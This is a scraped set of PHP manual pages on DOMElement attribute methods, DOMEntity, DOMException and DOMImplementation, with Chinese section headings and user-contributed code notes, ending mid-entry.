suwayan at mail dot ru 30-Mar-2012 12:19
<?php
/*When I try to get a some attribute from not validated HTML or XML document, PHP dies with no errors in logs or output:
*/
        function is_attribute_value($obj,$type,$value)
        {
            $_ret=false;
            if($obj)
            {
                if($val=$obj->getAttribute($type))
                {
                    if($val==$value)
                    {
                        $_ret=true;
                    }
                }
            }
            return $_ret;
        }
//And this check helped to me:
        function is_attribute_value($obj,$type,$value)
        {
            $_ret=false;
            if($obj->attributes)
            {
                if($val=$obj->getAttribute($type))
                {
                    if($val==$value)
                    {
                        $_ret=true;
                    }
                }
            }
            return $_ret;
        }
?>
Rakesh Verma - rakeshnsony at gmail dot com 10-Nov-2010 11:38
<?php

//Store your html into $html variable.

$html="<html>
<head>
<title>Rakesh Verma</title>
</head>

<body>
    <a href='http://example.com'>Example</a>
    <a href='http://google.com'>Google</a>
    <a href='http://www.yahoo.com'>Yahoo</a>
</body>

</html>";

$dom = new DOMDocument();
$dom->loadHTML($html);

//Evaluate Anchor tag in HTML
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");

for ($i = 0; $i < $hrefs->length; $i++) {
        $href = $hrefs->item($i);
        $url = $href->getAttribute('href');

        //remove and set target attribute
        $href->removeAttribute('target');
        $href->setAttribute("target", "_blank");

        $newURL=$url.".au";

        //remove and set href attribute
        $href->removeAttribute('href');
        $href->setAttribute("href", $newURL);
}

// save html
$html=$dom->saveHTML();

echo $html;

?>


Removes attribute

  • ? DOMElement::removeAttribute
  • DOMElement::removeAttributeNS ?
  • PHP Manual
  • DOMElement
  • Removes attribute

DOMElement::removeAttributeNode

(PHP 5, PHP 7)

DOMElement::removeAttributeNode — Removes attribute

说明

public DOMElement::removeAttributeNode ( DOMAttr $oldnode ) : bool

Removes attribute oldnode from the element.

参数

oldnode

The attribute node.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND_ERROR

Raised if oldnode is not an attribute of the element.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttributeNode() - Returns attribute node
  • DOMElement::setAttributeNode() - Adds new attribute node to element

User Contributed Notes

xr07354 at gmx dot de 18-Jun-2013 01:16
Basic: I use PHP5.4.9 from Ubuntu 13.04 repository. The aim of my code is to iterate HTML source (as a DomDocument) recursively and cleanup everything that is not valid to be used inside Epub files (i.e. and attribute align is not valid for paragraphs in Epubs).

FIRST: Today I tried removing attributes from a DOMElement using this simple code:
<?php
for ( $k=0; $k < $element->attributes->length; $k++) {
    if( /* some rule */ ){
        var_dump( $element->attributes->item($k)->nodeName);
        $element->removeAttributeNode( $element->attributes->item($k));
    }
}
?>
Unfortunately all attributes still existed when this loop was finished, even if these var_dumps told me that deleting them was tried.

I solved this problem iterating the attributes list backward:
<?php
for ( $k = $element->attributes->length - 1; $k >= 0; --$k) {
    if( /* same rule */ ){
        var_dump( $element->attributes->item($k)->nodeName);
        $element->removeAttributeNode( $element->attributes->item($k));
    }
}
?>
SECOND: DOMElement::removeAttributeNode does NOT return a bool but a DOMAttr object.


Removes attribute

  • ? DOMElement::removeAttributeNode
  • DOMElement::setAttribute ?
  • PHP Manual
  • DOMElement
  • Removes attribute

DOMElement::removeAttributeNS

(PHP 5, PHP 7)

DOMElement::removeAttributeNS — Removes attribute

说明

public DOMElement::removeAttributeNS ( string $namespaceURI , string $localName ) : bool

Removes attribute localName in namespace namespaceURI from the element.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttributeNS() - Returns value of attribute
  • DOMElement::setAttributeNS() - Adds new attribute

User Contributed Notes

primaryspace at hotmail dot com 10-Aug-2005 12:56
This method can be used to remove a namespace declaration from an element, even though the declaration is not considered an attribute by the DOM.  The prefix will be removed from any element or attribute using it.

<?php

$dom = DOMDocument::loadXML('<foo:root xmlns:foo="http:bar"/>');
$element = $dom->childNodes->item(0);

// prints '0':
echo (int) $element->hasAttributeNS('http:bar', 'foo');

$element->removeAttributeNS('http:bar', 'foo');

/* prints '<?xml version="1.0"?> <root/>': */
print htmlentities($dom->saveXML());

?>


Adds new attribute

  • ? DOMElement::removeAttributeNS
  • DOMElement::setAttributeNode ?
  • PHP Manual
  • DOMElement
  • Adds new attribute

DOMElement::setAttribute

(PHP 5, PHP 7)

DOMElement::setAttribute — Adds new attribute

说明

public DOMElement::setAttribute ( string $name , string $value ) : DOMAttr

Sets an attribute with name name to the given value. If the attribute does not exist, it will be created.

参数

name

The name of the attribute.

value

The value of the attribute.

返回值

The new DOMAttr or FALSE if an error occurred.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

范例

Example #1 Setting an attribute

<?php
$doc = new DOMDocument("1.0");
$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);
$newnode->setAttribute("align", "left");
?>

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttribute() - Returns value of attribute
  • DOMElement::removeAttribute() - Removes attribute

User Contributed Notes

lehal2@hotmail 06-Jun-2013 09:44
The use of Dom to first remove and then add the width and height to the first img tag from the text.I hope it help you to save your time
<?php
$html = '

            <img src="http://www.example.com/images/header.jpg" width="898" height="223" style="border-bottom:5px solid #cccccc;"/>
        <img src="http://www.example.com/images/header2.jpg" width="898" height="223" style="border-bottom:5px solid #cccccc;"/>
        ';

$doc = DOMDocument::loadHTML($html);
$c =0;
foreach($doc->getElementsByTagName('img') as $image){
    if ($c>0) continue;
    foreach(array('width', 'height') as $attribute_to_remove){
        echo $attribute_to_remove;
        if($image->hasAttribute($attribute_to_remove)){
            $image->removeAttribute($attribute_to_remove);

        }
        if($attribute_to_remove=='height'){
            if(!$image->hasAttribute($attribute_to_remove)){
                $image->setAttribute($attribute_to_remove,'220');

            }}
        if($attribute_to_remove=='width'){
      if(!$image->hasAttribute($attribute_to_remove)){
            $image->setAttribute($attribute_to_remove,'700');

        }}
        $c = $c+1;
    }
}
echo $doc->saveHTML();
Rakesh Verma - rakeshnsony at gmail dot com 10-Nov-2010 11:27
<?php
//Store your html into $html variable.
$html="
<html>
<head>
<title>Untitled Document</title>
</head>

<body>
    <a href='http://example.com'>Example</a><br>
    <a href='http://google.com'>Google</a><br>

    <a href='http://www.yahoo.com'>Yahoo</a><br>
</body>

</html>";

$dom = new DOMDocument();
$dom->loadHTML($html);

//Evaluate Anchor tag in HTML
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");

for ($i = 0; $i < $hrefs->length; $i++) {
        $href = $hrefs->item($i);
        $url = $href->getAttribute('href');

        //remove and set target attribute
        $href->removeAttribute('target');
        $href->setAttribute("target", "_blank");

        $newURL=$url."/newurl";

        //remove and set href attribute
        $href->removeAttribute('href');
        $href->setAttribute("href", $newURL);
}

// save html
$html=$dom->saveHTML();

echo $html;

?>
address at gmail dot com 03-Jul-2008 07:25
If wanting to set an attribute of an element with unique id of "1"

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$xp = new DomXPath($dom);
$res = $xp->query("//*[@id = '1']");
$res->item(0)->setAttribute('title','2');
$dom->save('test.xml');
?>
Vasil Rangelov 31-Jul-2007 04:44
@karvjorm,
Using this method is not exactly a good practice. Infact, I think it may be a bug.
Names beginning with "xml" are reserved (for namespaces in this case).
setAttribute() should return false in this case I think, but I suppose it doesn't.

Still, the right way to do it is with createElementNS().
It lets you specify the namespace when creating the element node.

So the equivalent to yours ($html added to allow word wrapping) is:

$dom = new DomDocument('1.0','iso-8859-15');
$html = $dom->createElementNS('http://www.w3.org/1999/xhtml', 'html');
$ht_ml = $dom->appendChild($html);
$ht_ml->setAttribute('xml:lang','fi');
$ht_ml->setAttribute('lang','fi');
karvjorm at users.sourceforge.net 02-Mar-2007 03:05
$dom = new DomDocument('1.0','iso-8859-15');

$ht_ml = $dom->appendChild($dom->createElement('html'));
$ht_ml->setAttribute('xmlns','http://www.w3.org/1999/xhtml');
$ht_ml->setAttribute('xml:lang','fi');
$ht_ml->setAttribute('lang','fi');

Result:

<?xml version="1.0" encoding="iso-8859-15"?>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fi" lang="fi">


Adds new attribute node to element

  • ? DOMElement::setAttribute
  • DOMElement::setAttributeNodeNS ?
  • PHP Manual
  • DOMElement
  • Adds new attribute node to element

DOMElement::setAttributeNode

(PHP 5, PHP 7)

DOMElement::setAttributeNode — Adds new attribute node to element

说明

public DOMElement::setAttributeNode ( DOMAttr $attr ) : DOMAttr

Adds new attribute node attr to element.

参数

attr

The attribute node.

返回值

Returns old node if the attribute has been replaced or NULL.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

  • DOMElement::hasAttribute() - Checks to see if attribute exists
  • DOMElement::getAttributeNode() - Returns attribute node
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

karvjorm at users.sourceforge.net 02-Mar-2007 04:01
$dom = new DomDocument('1.0','iso-8859-15');

$ht_ml = $dom->appendChild($dom->createElement('html'));

$he_ad = $ht_ml->appendChild($dom->createElement('head'));

$tit_le= $he_ad->appendChild($dom->createElement('title'));
$tit_le->appendChild($dom->createTextNode('DOMAttr test'));

$me_ta = $he_ad->appendChild(new DOMElement('meta'));
$me_ta->setAttributeNode(new DOMAttr('name', 'Description'));
$me_ta->setAttributeNode(new DOMAttr('content', 'example'));

$me_ta = $he_ad->appendChild(new DOMElement('meta'));
$me_ta->setAttributeNode(new DOMAttr('name', 'Author'));
$me_ta->setAttributeNode(new DOMAttr('content', 'karvjorm'));

Result:

<?xml version="1.0" encoding="iso-8859-15"?>
<html>
  <head>
    <title>DOMAttr test</title>
    <meta name="Description" content="example"/>
    <meta name="Author" content="karvjorm"/>
  </head>


Adds new attribute node to element

  • ? DOMElement::setAttributeNode
  • DOMElement::setAttributeNS ?
  • PHP Manual
  • DOMElement
  • Adds new attribute node to element

DOMElement::setAttributeNodeNS

(PHP 5, PHP 7)

DOMElement::setAttributeNodeNS — Adds new attribute node to element

说明

public DOMElement::setAttributeNodeNS ( DOMAttr $attr ) : DOMAttr

Adds new attribute node attr to element.

参数

attr

The attribute node.

返回值

Returns the old node if the attribute has been replaced.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttributeNodeNS() - Returns attribute node
  • DOMElement::removeAttributeNode() - Removes attribute

User Contributed Notes

There are no user contributed notes for this page.


Adds new attribute

  • ? DOMElement::setAttributeNodeNS
  • DOMElement::setIdAttribute ?
  • PHP Manual
  • DOMElement
  • Adds new attribute

DOMElement::setAttributeNS

(PHP 5, PHP 7)

DOMElement::setAttributeNS — Adds new attribute

说明

public DOMElement::setAttributeNS ( string $namespaceURI , string $qualifiedName , string $value ) : void

Sets an attribute with namespace namespaceURI and name name to the given value. If the attribute does not exist, it will be created.

参数

namespaceURI

The namespace URI.

qualifiedName

The qualified name of the attribute, as prefix:tagname.

value

The value of the attribute.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a malformed qualified name, or if qualifiedName has a prefix and namespaceURI is NULL.

参见

  • DOMElement::hasAttributeNS() - Checks to see if attribute exists
  • DOMElement::getAttributeNS() - Returns value of attribute
  • DOMElement::removeAttributeNS() - Removes attribute

User Contributed Notes

catalinenache78 at gmail dot com 18-May-2011 07:39
To add new brand xml namespace use:

<?php
    $element->setAttributeNS(
        'http://www.w3.org/2000/xmlns/', // xmlns namespace URI
        'xmlns:mynamespace',
        'example.com/mynamespace'
    );
?>

'http://www.w3.org/2000/xmlns/' URI is important
to be able to add  new namespaces !!!

Later you can use your namespace like:

<?php
    $element->setAttributeNS(
        'example.com/mynamespace',
        'mynamespace:something',
        'value'
    );
?>


Declares the attribute specified by name to be of type ID

  • ? DOMElement::setAttributeNS
  • DOMElement::setIdAttributeNode ?
  • PHP Manual
  • DOMElement
  • Declares the attribute specified by name to be of type ID

DOMElement::setIdAttribute

(PHP 5, PHP 7)

DOMElement::setIdAttribute — Declares the attribute specified by name to be of type ID

说明

public DOMElement::setIdAttribute ( string $name , bool $isId ) : void

Declares the attribute name to be of type ID.

参数

name

The name of the attribute.

isId

Set it to TRUE if you want name to be of type ID, FALSE otherwise.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND

Raised if name is not an attribute of this element.

参见

  • DOMDocument::getElementById() - Searches for an element with a certain id
  • DOMElement::setIdAttributeNode() - Declares the attribute specified by node to be of type ID
  • DOMElement::setIdAttributeNS() - Declares the attribute specified by local name and namespace URI to be of type ID

User Contributed Notes

There are no user contributed notes for this page.


Declares the attribute specified by node to be of type ID

  • ? DOMElement::setIdAttribute
  • DOMElement::setIdAttributeNS ?
  • PHP Manual
  • DOMElement
  • Declares the attribute specified by node to be of type ID

DOMElement::setIdAttributeNode

(PHP 5, PHP 7)

DOMElement::setIdAttributeNode — Declares the attribute specified by node to be of type ID

说明

public DOMElement::setIdAttributeNode ( DOMAttr $attr , bool $isId ) : void

Declares the attribute specified by attr to be of type ID.

参数

attr

The attribute node.

isId

Set it to TRUE if you want name to be of type ID, FALSE otherwise.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND

Raised if name is not an attribute of this element.

参见

  • DOMDocument::getElementById() - Searches for an element with a certain id
  • DOMElement::setIdAttribute() - Declares the attribute specified by name to be of type ID
  • DOMElement::setIdAttributeNS() - Declares the attribute specified by local name and namespace URI to be of type ID

User Contributed Notes

There are no user contributed notes for this page.


Declares the attribute specified by local name and namespace URI to be of type ID

  • ? DOMElement::setIdAttributeNode
  • DOMEntity ?
  • PHP Manual
  • DOMElement
  • Declares the attribute specified by local name and namespace URI to be of type ID

DOMElement::setIdAttributeNS

(PHP 5, PHP 7)

DOMElement::setIdAttributeNS — Declares the attribute specified by local name and namespace URI to be of type ID

说明

public DOMElement::setIdAttributeNS ( string $namespaceURI , string $localName , bool $isId ) : void

Declares the attribute specified by localName and namespaceURI to be of type ID.

参数

namespaceURI

The namespace URI of the attribute.

localName

The local name of the attribute, as prefix:tagname.

isId

Set it to TRUE if you want name to be of type ID, FALSE otherwise.

返回值

没有返回值。

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND

Raised if name is not an attribute of this element.

参见

  • DOMDocument::getElementById() - Searches for an element with a certain id
  • DOMElement::setIdAttribute() - Declares the attribute specified by name to be of type ID
  • DOMElement::setIdAttributeNode() - Declares the attribute specified by node to be of type ID

User Contributed Notes

There are no user contributed notes for this page.


The DOMEntity class

(PHP 5, PHP 7)

简介

This interface represents a known entity, either parsed or unparsed, in an XML document.

类摘要

DOMEntity extends DOMNode {
/* 属性 */
readonly public string $publicId ;
readonly public string $systemId ;
readonly public string $notationName ;
public string $actualEncoding ;
readonly public string $encoding ;
readonly public string $version ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

publicId

The public identifier associated with the entity if specified, and NULL otherwise.

systemId

The system identifier associated with the entity if specified, and NULL otherwise. This may be an absolute URI or not.

notationName

For unparsed entities, the name of the notation for the entity. For parsed entities, this is NULL.

actualEncoding

An attribute specifying the encoding used for this entity at the time of parsing, when it is an external parsed entity. This is NULL if it an entity from the internal subset or if it is not known.

encoding

An attribute specifying, as part of the text declaration, the encoding of this entity, when it is an external parsed entity. This is NULL otherwise.

version

An attribute specifying, as part of the text declaration, the version number of this entity, when it is an external parsed entity. This is NULL otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The DOMEntityReference class

(PHP 5, PHP 7)

类摘要

DOMEntityReference extends DOMNode {
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public __construct ( string $name )
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

Table of Contents

  • DOMEntityReference::__construct — Creates a new DOMEntityReference object

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DOMEntityReference object

  • ? DOMEntityReference
  • DOMException ?
  • PHP Manual
  • DOMEntityReference
  • Creates a new DOMEntityReference object

DOMEntityReference::__construct

(PHP 5, PHP 7)

DOMEntityReference::__construct — Creates a new DOMEntityReference object

说明

public DOMEntityReference::__construct ( string $name )

Creates a new DOMEntityReference object.

参数

name

The name of the entity reference.

范例

Example #1 Creating a new DOMEntityReference

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$entity = $element->appendChild(new DOMEntityReference('nbsp'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root>&nbsp;</root> */

?>

参见

  • DOMDocument::createEntityReference() - Create new entity reference node

User Contributed Notes

There are no user contributed notes for this page.


The DOMException class

(PHP 5, PHP 7)

简介

DOM operations raise exceptions under particular circumstances, i.e., when an operation is impossible to perform for logical reasons.

See also 异常处理.

类摘要

DOMException extends Exception {
/* 属性 */
readonly public int $code ;
/* 继承的属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

属性

code

An integer indicating the type of error generated

User Contributed Notes

There are no user contributed notes for this page.


The DOMImplementation class

(PHP 5, PHP 7)

简介

The DOMImplementation interface provides a number of methods for performing operations that are independent of any particular instance of the document object model.

类摘要

DOMImplementation {
/* 属性 */
/* 方法 */
__construct ( void )
public createDocument ([ string $namespaceURI = NULL [, string $qualifiedName = NULL [, DOMDocumentType $doctype = NULL ]]] ) : DOMDocument
public createDocumentType ([ string $qualifiedName = NULL [, string $publicId = NULL [, string $systemId = NULL ]]] ) : DOMDocumentType
public hasFeature ( string $feature , string $version ) : bool
}

Table of Contents

  • DOMImplementation::__construct — Creates a new DOMImplementation object
  • DOMImplementation::createDocument — Creates a DOMDocument object of the specified type with its document element
  • DOMImplementation::createDocumentType — Creates an empty DOMDocumentType object
  • DOMImplementation::hasFeature — Test if the DOM implementation implements a specific feature

User Contributed Notes

LANGE.LUDO 07-Nov-2014 06:05
Ok got it working like a charm using "proxy pattern" with traits. The idea being declaring the common methods inside a "trait" in order for extended and registered Node Classes to have access even if not derived / child of the extended DOMNode...

Here a small snippet :
<?php
    namespace my;

    trait tNode
    {    // We need the magic method __get in order to add properties such as DOMNode->parentElement
        public function __get($name)
        {    if(property_exists($this, $name)){return $this->$name;}
            if(method_exists($this, $name)){return $this->$name();}
            throw new \ErrorException('my\\Node property \''.(string) $name.'\' not found...', 42, E_USER_WARNING);
        }

        // parentElement property definition
        private function parentElement()
        {    if($this->parentNode === null){return null;}
            if($this->parentNode->nodeType === XML_ELEMENT_NODE){return $this->parentNode;}
            return $this->parentNode->parentElement();
        }

        // JavaScript equivalent
        public function isEqualNode(\DOMNode $node){return $this->isSameNode($node);}
        public function compareDocumentPosition(\DOMNode $otherNode)
        {    if($this->ownerDocument !== $otherNode->ownerDocument){return DOCUMENT_POSITION_DISCONNECTED;}
            $c = strcmp($this->getNodePath(), $otherNode->getNodePath());
            if($c === 0){return 0;}
            else if($c < 0){return DOCUMENT_POSITION_FOLLOWING | ($c < -1 ? DOCUMENT_POSITION_CONTAINED_BY : 0);}
            return DOCUMENT_POSITION_PRECEDING | ($c > 1 ? DOCUMENT_POSITION_CONTAINS : 0);
        }
        public function contains(\DOMNode $otherNode){return ($this->compareDocumentPosition($otherNode) >= DOCUMENT_POSITION_CONTAINED_BY);}
    }

    class Document extends \DomDocument
    {    public function __construct($version=null, $encoding=null)
        {    parent::__construct($version, $encoding);
            $this->registerNodeClass('DOMNode', 'my\Node');
            $this->registerNodeClass('DOMElement', 'my\Element');
            $this->registerNodeClass('DOMDocument', 'my\Document');
            /* [...] */
        }
    }

    class Element extends \DOMElement
    {    use tNode;
        /* [...] */
    }

    class Node extends \DOMNode
    {    use tNode;
        /* [...] */
    }

?>
LANGE.LUDO 07-Nov-2014 08:14
From what I've seen you must "recode" the "createDocument" method in order to call your own object extension...

<?php
[...]
    public function createDocument($namespaceURI=null, $qualifiedName=null, DOMDocumentType $docType=null)
    {    $doc=new Document();
        $doc->appendChild(parent::createDocumentType('html'));
        $this->doc->appendChild($namespaceURI ? $this->doc->createElementNS($namespaceURI,$qualifiedName) : $this->doc->createElement($qualifiedName));
    return $doc;
    }
[...]
?>

Where I am struggling is extending the whole tree so that calling the customized Implementation method returns a whole extended tree...
Expected result : Implementation > Document > DOMDocument > Node > DOMNode
Actual result : Implementation > Document > DOMDocument > DOMNode :(
LANGE.LUDO 05-Nov-2014 10:59
Why not use the DOMImplementation to directly register your DOM Class extensions ?

<?php
namespace My;
class Implementation extends \DOMImplementation
{    private $doc;
    public function __construct(){return $this->createDocument();}
    public function __get($name){return $this->doc->{$name};}
    public function __set($name,$value){$this->doc->{$name}=$value;}
    public function __isset($name){return isset($this->doc->{$name});}
    public function __unset($name){return $this->doc->__unset($name);}
    public function __call($name,$args){return call_user_func_array(array($this->doc,$name),$args);}

    public function createDocument($namespaceURI=null,$qualifiedName=null,DOMDocumentType $docType=null)
    {    $this->doc=parent::createDocument($namespaceURI,$qualifiedName,$docType);
        $this->doc->xmlVersion='1.0';
        $this->doc->xmlEncoding='UTF-8';
        $this->doc->registerNodeClass('DOMDocument','My\Document');
        $this->doc->registerNodeClass('DOMDocumentFragment','My\DocumentFragment');
        $this->doc->registerNodeClass('DOMElement','My\Element');
        $this->doc->registerNodeClass('DOMComment','My\Comment');
        $this->doc->registerNodeClass('DOMNode','My\Node');
        /* ..., ..., ... */
        return $this->doc;
    }
}
?>
giorgio dot liscio at email dot it 20-Jul-2010 06:26
officially, the w3 specifies that the way to access dom interfaces is through this class

so if you use

$doc = new DOMDocument("1.0", "UTF-8");

use instead:

$x = new DOMImplementation();
$doc = $x->createDocument(NULL,"rootElementName");
$doc->xmlVersion="1.0";
$doc->xmlEncoding="UTF-8";

it is not required by php's implementation, but, probably, it is a good practice

see:

http://w3.org/TR/DOM-Level-3-Core/core.html#DOMImplementation

http://w3.org/TR/DOM-Level-3-Core/core.html#DOMImplementationList

http://w3.org/TR/DOM-Level-3-Core/core.html#DOMImplementationSource


Creates a new DOMImplementation object

  • ? DOMImplementation
  • DOMImplementation::createDocument ?
  • PHP Manual
  • DOMImplementation
  • Creates a new DOMImplementation object

DOMImplementation::__construct

(PHP 5, PHP 7)

DOMImplementation::__construct — Creates a new DOMImplementation object

说明

DOMImplementation::__construct ( void )

Creates a new DOMImplementation object.

User Contributed Notes

There are no user contributed notes for this page.


Creates a DOMDocument object of the specified type with its document element

  • ? DOMImplementation::__construct
  • DOMImplementation::createDocumentType ?
  • PHP Manual
  • DOMImplementation
  • Creates a DOMDocument object of the specified type with its document element

DOMImplementation::createDocument

(PHP 5, PHP 7)

DOMImplementation::createDocument — Creates a DOMDocument object of the specified type with its document element

说明

public DOMImplementation::createDocument ([ string $namespaceURI = NULL [, string $qualifiedName = NULL [, DOMDocumentType $doctype = NULL ]]] ) : DOMDocument

Creates a DOMDocument object of the specified type with its document element.

参数

namespaceURI

The namespace URI of the document element to create.

qualifiedName

The qualified name of the document element to create.

doctype

The type of document to create or NULL.

返回值

A new DOMDocument object. If namespaceURI, qualifiedName, and doctype are null, the returned DOMDocument is empty with no document element

错误／异常

DOM_WRONG_DOCUMENT_ERR

Raised if doctype has already been used with a different document or was created from a different implementation.

DOM_NAMESPACE_ERR

Raised if there is an error with the namespace, as determined by namespaceURI and qualifiedName.

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

参见

  • DOMDocument::__construct() - Creates a new DOMDocument object
  • DOMImplementation::createDocumentType() - Creates an empty DOMDocumentType object

User Contributed Notes

sleistico at gmail dot com 02-Jul-2018 03:48
I just recently got an error, having to do with deprecation, by using the type of calls in the other example listed here.  What I had to do instead looks like this...

$htmldoc = (new DOMImplementation)->createDocument(null, 'html', (new DOMImplementation)->createDocumentType("html"));

This creates a document with <!DOCTYPE html> at the top of it.
eboyjr 22-Jul-2010 12:48
To add on to the other example, here's how to create an XHTML 1.0 transitional document with head, title, and body elements.

<?php

$document = DOMImplementation::createDocument(null, 'html',
    DOMImplementation::createDocumentType("html",
        "-//W3C//DTD XHTML 1.0 Transitional//EN",
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"));
$document->formatOutput = true;

$html = $document->documentElement;
$head = $document->createElement('head');
$title = $document->createElement('title');
$text = $document->createTextNode('Title of Page');
$body = $document->createElement('body');

$title->appendChild($text);
$head->appendChild($title);
$html->appendChild($head);
$html->appendChild($body);

echo $document->saveXML();
?>

This outputs: (http links removed due to spam)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "doctype.dtd">
<html xmlns="w3org1999xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312" />
    <title>Title of Page</title>
  </head>
  <body></body>
</html>

Note the saveXML function. If saveHTML was used instead, you get the output:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "doctype.dtd">
<html>
<head><title>Title of Page</title></head>
<body></body>
</html>
arturm at union dot com dot pl 06-May-2006 10:23
To create HTML document with doctype:

<?php
$doctype = DOMImplementation::createDocumentType("html",
                "-//W3C//DTD HTML 4.01//EN",
                "http://www.w3.org/TR/html4/strict.dtd");
$doc = DOMImplementation::createDocument(null, 'html', $doctype);
?>


Creates an empty DOMDocumentType object

  • ? DOMImplementation::createDocument
  • DOMImplementation::hasFeature ?
  • PHP Manual
  • DOMImplementation
  • Creates an empty DOMDocumentType object

DOMImplementation::createDocumentType

(PHP 5, PHP 7)

DOMImplementation::createDocumentType — Creates an empty DOMDocumentType object

说明

public DOMImplementation::createDocumentType ([ string $qualifiedName = NULL [, string $publicId = NULL [, string $systemId = NULL ]]] ) : DOMDocumentType

Creates an empty DOMDocumentType object. Entity declarations and notations are not made available. Entity reference expansions and default attribute additions do not occur.

参数

qualifiedName

The qualified name of the document type to create.

publicId

